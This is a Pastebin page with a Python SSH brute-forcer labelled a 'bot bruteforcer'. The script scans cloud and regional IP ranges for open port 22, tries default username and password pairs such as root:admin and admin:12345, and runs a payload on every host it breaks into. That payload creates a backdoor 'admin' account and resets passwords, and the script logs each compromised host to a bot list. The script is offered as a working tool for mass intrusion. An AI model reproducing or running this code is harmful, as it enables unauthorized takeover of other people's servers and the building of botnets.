Advertisement
mem3_dump

zatakai bot bruteforcer

Feb 9th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.42 KB | None | 0 0
  1. cddimport threading, sys, colors, socket, random, os
  2. try:
  3.     import paramiko
  4. except ImportError:
  5.     print(colors.white + "Paramiko is not installed, installing...")
  6.     os.system("pip install paramiko")
  7.     os.system("clear")
  8. paramiko.util.log_to_file("/dev/null")
  9. payload = """sudo -l; echo -e "12345\n12345\n" | adduser admin; echo -e "12345\n12345\n" | sudo adduser admin; echo "12345\n12345\n" | passwd"""
  10. class Scanner(threading.Thread):
  11.     global combos, ranges, google, amazon, lucky3
  12.     brazil = ["179.105.","179.152.","189.29.","189.32.","189.33.","189.34.","189.35.","189.39.","189.4.","189.54.","189.55.","189.60.","189.61.","189.62.","189.63.","189.126.", "189.{}.".format(str(random.randrange(0, 256)))]
  13.     google = ["35.", "34."]
  14.     ovh = ["54.37.", "54.34.", "54.35", "54.122.", "54.91.", "51.{}.".format(str(random.randrange(0, 256))), "51.{}.".format(str(random.randrange(0, 256)))]
  15.     lucky = ["125.27.","101.109.","113.53.","118.173.","122.170.","122.180.", "122.{}.".format(str(random.randrange(0, 256))), "118.{}.".format(str(random.randrange(0, 256))), "125.{}.".format(str(random.randrange(0, 256)))]
  16.     lucky2 = ["122.3","122.52","122.54","119.93", "122.{}.".format(str(random.randrange(0, 256))), "119.{}.".format(str(random.randrange(0, 256))), "123.{}.".format(str(random.randrange(0, 256)))]
  17.     lucky3 = ["110.","111.","112.","113.","114.","115.","116.","117.","118.","119.","223.","1.","103.","203.","202.","122."]
  18.     amazon = ["3.16."]
  19.     other = ["119.93.", "122.3.", "122.52.", "101.109.", "180.180.", "125.27.", "101.109."]
  20.     rand = ['{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256)))]
  21.     try:
  22.         ranges = sys.argv[1]
  23.     except:
  24.         print("No range specified.\nUsage: python {} RANGE\nRANGE - options: Google, OVH, Amazon, Brazil, Lucky, Lucky2, Other, Random".format(sys.argv[0]))
  25.         quit()
  26.     if ranges.lower().strip() == "google":
  27.         ranges = google
  28.     elif ranges.lower().strip() == "ovh":
  29.         ranges = ovh
  30.     elif ranges.lower().strip() == "brazil":
  31.         ranges = brazil
  32.     elif ranges.lower().strip() == "lucky":
  33.         ranges = lucky
  34.     elif ranges.lower().strip() == "lucky2":
  35.         ranges = lucky2
  36.     elif ranges.lower().strip() == "amazon":
  37.         ranges = amazon
  38.     elif ranges.lower().strip() == "other":
  39.         ranges = other
  40.     elif ranges.lower().strip() == "random":
  41.         ranges = rand
  42.     elif ranges.lower().strip() == "lucky3":
  43.         ranges = lucky3
  44.     combos = ["admin:12345", "root:admin", "root:12345", "ubuntu:12345", "ubuntu:ubuntu"]
  45.     def run(self):
  46.         try:
  47.             for _range in ranges:
  48.                 c = 0
  49.                 for i in range(0, len(combos) - 1):
  50.                         for octet1 in range(1, 256):
  51.                             if ranges == google or ranges == lucky3:
  52.                                 try:
  53.                                     ip = _range + str(random.randrange(0,256)) + "." + str(random.randrange(0, 256)) + "." + str(random.randrange(0, 256))
  54.                                 except: pass
  55.                             else:
  56.                                 try:
  57.                                     ip = _range + str(octet1) + "." + str(random.randrange(0, 256))
  58.                                     c += 1
  59.                                     if c >= 255:
  60.                                         octet1 += 1
  61.                                 except: pass
  62.                             try:
  63.                                 user = combos[i].split(":")[0]
  64.                                 passw = combos[i].split(":")[1]
  65.                             except:
  66.                                 pass
  67.                             try:
  68.                                 s = socket.socket()
  69.                                 s.settimeout(2)
  70.                                 s.connect((ip, 22))
  71.                                 s.close()
  72.                                 #print("{} is GOOD".format(ip))
  73.                             except:
  74.                                 #print(colors.red + "{} IS BAD".format(ip))
  75.                                 ip = "bad"
  76.                             if ip == "bad":
  77.                                 pass
  78.                             else:
  79.                                 ssh = paramiko.SSHClient()
  80.                                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  81.                                 try:
  82.                                     sys.stdout.write(colors.sky_blue + "\n\rTrying {0}:{1}:{2}".format(ip, user, passw))
  83.                                     sys.stdout.flush()
  84.                                     ssh.connect(ip, port=22, username=user, password=passw, timeout=3, allow_agent=False, look_for_keys=False)
  85.                                     print("{0}HACKED: {1}".format(colors.green, ip))
  86.                                 except KeyboardInterrupt: quit()
  87.                                 except:
  88.                                     isbad=True
  89.                                     ssh.close()
  90.                                 if isbad != True:
  91.                                     stdin, stdout, stderr = ssh.exec_command(payload)
  92.                                     print(colors.white + "BACKDOORED: {}".format(ip))
  93.                                     f = open("NEW_BOTS.txt", "a").write("{0}:{1}:{2}".format(ip, user, passw))
  94.                                     f.close()
  95.                                     ssh.close()
  96.         except KeyboardInterrupt:
  97.                         print("{0}User requested interrupt, exiting..{1}".format(colors.blue, colors.end))
  98.                         quit()
  99.  
  100.  
  101. def run():
  102.     while 1:
  103.         for i in range(1, 1500):
  104.             try:
  105.                 t = Scanner()
  106.                 t.daemon = True
  107.                 t.start()
  108.             except KeyboardInterrupt: quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement